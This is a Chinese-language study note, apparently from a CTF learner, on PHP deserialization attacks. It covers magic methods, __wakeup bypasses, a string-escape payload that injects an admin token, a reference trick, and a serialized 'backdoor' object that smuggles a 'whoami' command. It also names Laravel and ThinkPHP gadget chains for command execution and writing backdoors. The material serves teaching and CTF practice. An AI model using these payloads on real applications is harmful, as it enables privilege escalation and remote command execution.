师傅们的教学
https://blog.csdn.net/solitudi/article/details/113588692
https://spaceman-911.gitee.io/2021/06/30/PHP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%88%E8%B6%85%E7%BB%86%E7%9A%84%EF%BC%89/
写在开头可能用到的提醒
- 序列化的字符串,如:O:11,可写成O:+11,类似于S:4也可
- 绕过__wakeup(),属性超过原定义属性个数
- 限定版本:PHP5-5.6.25 | PHP7-7.0.10
- 十六进制绕过,将序列化的字符串小写的s改为大写S,里面的字符串可用十六进制代替
- 例如 s:"name" 可改为 S:"n\97me"
- 字符串序列化还是字符串本身,例如:serialize(test),那么输出还是test
- 当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize。
魔术方法
- __construct(),在对象被new的时候自动调用
- __destruct(),当对象被销毁的时候会自动调用
- __wakeup(),当执行反序列化的时候执行也就是unserialize()
- __sleep(),当执行序列化的时候执行也就是serialize()
- __invoke(),当对象被当成函数调用时触发,例如$a()
- __call() 当从对象中调用不存在的方法时触发,例如a对象中没有b方法,触发
- __get(),在对象中调用不存在的变量时候触发
- __set(),在对象中写入不可写入的的属性时触发
- __isset(),在不可访问的私有属性调用iset()或empty()时候触发
- __unset,在不可访问的私有属性上使用unset()时触发
- __tostring(),把类当成字符串来调用时候触发,或者把对象当成字符串去输出
- __sleep(),当被serialize时候,如果有__sleep,会优先触发
案例
经典案例
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
- 方法: $user是反序列化后的类,所以$_cookie['user']要传入序列化的类,根据代码,我们可以把ctfshowuser这个类中的$isvip的布尔值改为true,然后将这个class,放入本地,然后echo urlencode(serialize(new ctfshowuser())),把这个输出值放入cookie。
- 思路: 因为$user是unserialize后的类,所以所以要把利用的类给序列化即可
-
序列化不会改变方法中的详细代码,只是可以改变调用什么之类的
反序列化逃逸
<?php error_reporting(0); class message { public $from; public $msg; public $to; public $token = 'user'; public function __construct($f, $m, $t) { $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if (isset($f) && isset($m) && isset($t)) { $msg = new message($f, $m, $t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg', base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);
- 详细原理: https://www.bilibili.com/video/BV1D64y1m78f?p=9&spm_id_from=pageDriver
- 目标:使public $token='admin'
- 方法:使用字符串逃逸,因为题目使用了str_replace来替换
- 过程:因为传入fuck会被替换为loveU,那么序列化的时候,s:4:"fuck"被替换后会变成s:4:"loveU",这样就会不等相差了一个字符。然后在$f传入 fuck(若干个)";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";},这个字符串是被替换后 的序列化字符串截取的,把user换成admin,然后一直添加fuck,然后一直查看序列化后的s:数量:"和这里面的字符串数量一不一样",如果一样了,可以使用var_dump(unserialize(序列化后的字符串)) 看看是不是ok了
- 正常的序列化(未被过滤): O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
- 过滤后的: O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
-
例如字符串: 字符串逃逸,system被替换为了ctfshow,差异一个字符,后面用";}闭合
O:8:"backdoor":2:{s:1:"m";s:168:"ctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshow";s:1:"a";s:6:"whoami";}";s:1:"a";s:6:"whoami";}
指针改变变量
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
- 解法: 本地试,复制关键代码,然后把$this->password = $p 修改为$this->password = &$this->token,然后$msg=serialize(new ctfshowAdmin('1','2')) echo $msg; 输出即可
- 思路,代码要求类中的login方法,token和password全等于,把password的值赋值为,&$this->password ,意思就是把password的地址给token,这样值就会想等
Level框架,反序列化链POC
level框架命令执行
level框架5.8版本 写入后门
Thinkphpv5.1 反序列化链 生成的参数要加&lin='shell命令'